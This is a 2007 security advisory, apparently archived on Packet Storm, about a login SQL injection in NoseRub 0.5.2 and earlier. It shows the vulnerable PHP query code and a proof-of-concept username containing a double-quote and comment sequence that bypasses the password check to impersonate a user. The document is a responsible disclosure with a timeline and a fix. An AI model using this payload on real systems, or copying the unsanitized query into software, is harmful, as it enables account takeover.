the internet's safety

seclog-2007-001.txt

seclog-2007-001.txt
Posted Dec 29, 2007
Authored by Felix Groebert | Site seclog.de

NoseRub versions 0.5.2 and below suffer from a SQL injection vulnerability.

tags | exploit, sql injection
MD5 | 082b8e4c54ce3efe96c596a7cfe889dc

seclog-2007-001.txt

Change Mirror Download
############################################################################
-- ---------- ---- - ----------------------------
---------- ---- -- -----------------------------
------------- ---seclog- ------------------
------------ -- --- -------------------
--------- ---- -------------------
------- --------------------------
--- -------------- -----------
--- -------------- -- --- -
- --- -------------- - -- -
---- ---------
---------- ------- - - --
---------- ------ -
------- ----- - ---------
------ ---- ---------
--- -- ---
-- --
############################################################################
# seclog.de Security Advisory 2007-001 #
############################################################################


Advisory: NoseRub Login SQL Injection Vulnerability
Affected Versions: <= 0.5.2
Fixed Versions: current SVN
Risk: critical

Vendor URL: http://noserub.com
Vendor Status: informed, fixed version will be released soon
Advisory URL: http://seclog.de/pub/seclog-2007-001.txt
Advisory Status: public
Author: Felix Groebert <felix AT groebert DOT org>
Revision: 2007-12-26



Introduction
============
NoseRub is a protocol for and a sample implementation of a decentralized
social network.


Vulnerability
=============
The login script fails to validate user input. It is possible to insert
double quotes in order to escape the following SQL query:

SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/USERNAME"
AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1

The query is generated at the end of the function check() in
app/models/identity.php:

return $this->find(array('Identity.hash' => '',
'Identity.username = "'. $username .'"',
'Identity.password' => md5($data['Identity']['password'])));


Proof of Concept
================
The SQL injection bug can be exploited by impersonating a registered user.

Go to: http://www.example.com/noserub/pages/login/
Login as: somereallogin " -- "
Password: unknownpassword

This results in the following SQL query, commenting out the fourth and fifth
lines using double dashes, thus maintaining valid SQL syntax.

SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/somereallogin"
-- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b'
LIMIT 1


Recommendation
==============
It is recommended to upgrade to NoseRub > 0.5.2.
A preliminary patched version of the affected file can be downloaded from
SVN revision 515:
http://noserub.googlecode.com/svn/trunk/app/models/identity.php


Disclosure Timeline
===================
2007-12-19 Problem found
2007-12-19 Notified developers
2007-12-20 Received response with proposed fix
2007-12-20 Sent acknowledgment concerning fix
2007-12-26 Released advisory to public


About seclog.de
===============
seclog.de is not your average latest-vulnerability-weblog. We try to
deliver quality commentary on recent security news and issues. Our focus
ranges from secure programming, exploitation techniques, applied
cryptography, network security, privacy, biometrics to social engineering:
from the organizational and human layers to the physical and application
layers. The weblog is partly in english and german. Check it out.


Disclaimer and Copyright
========================
The author is not responsible for the misuse of the information provided in
this security advisory. Advisories are a service to the professional
security community. There are NO WARRANTIES with regard to this information.
Any application or distribution of this information constitutes acceptance
AS IS, at the user's own risk. This information is subject to change without
notice.

This advisory Copyright (C) 2007 Felix Groebert. Permission is hereby granted
to redistribute this advisory, providing that no changes are made and that
the copyright notices and disclaimers remain intact.

############################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close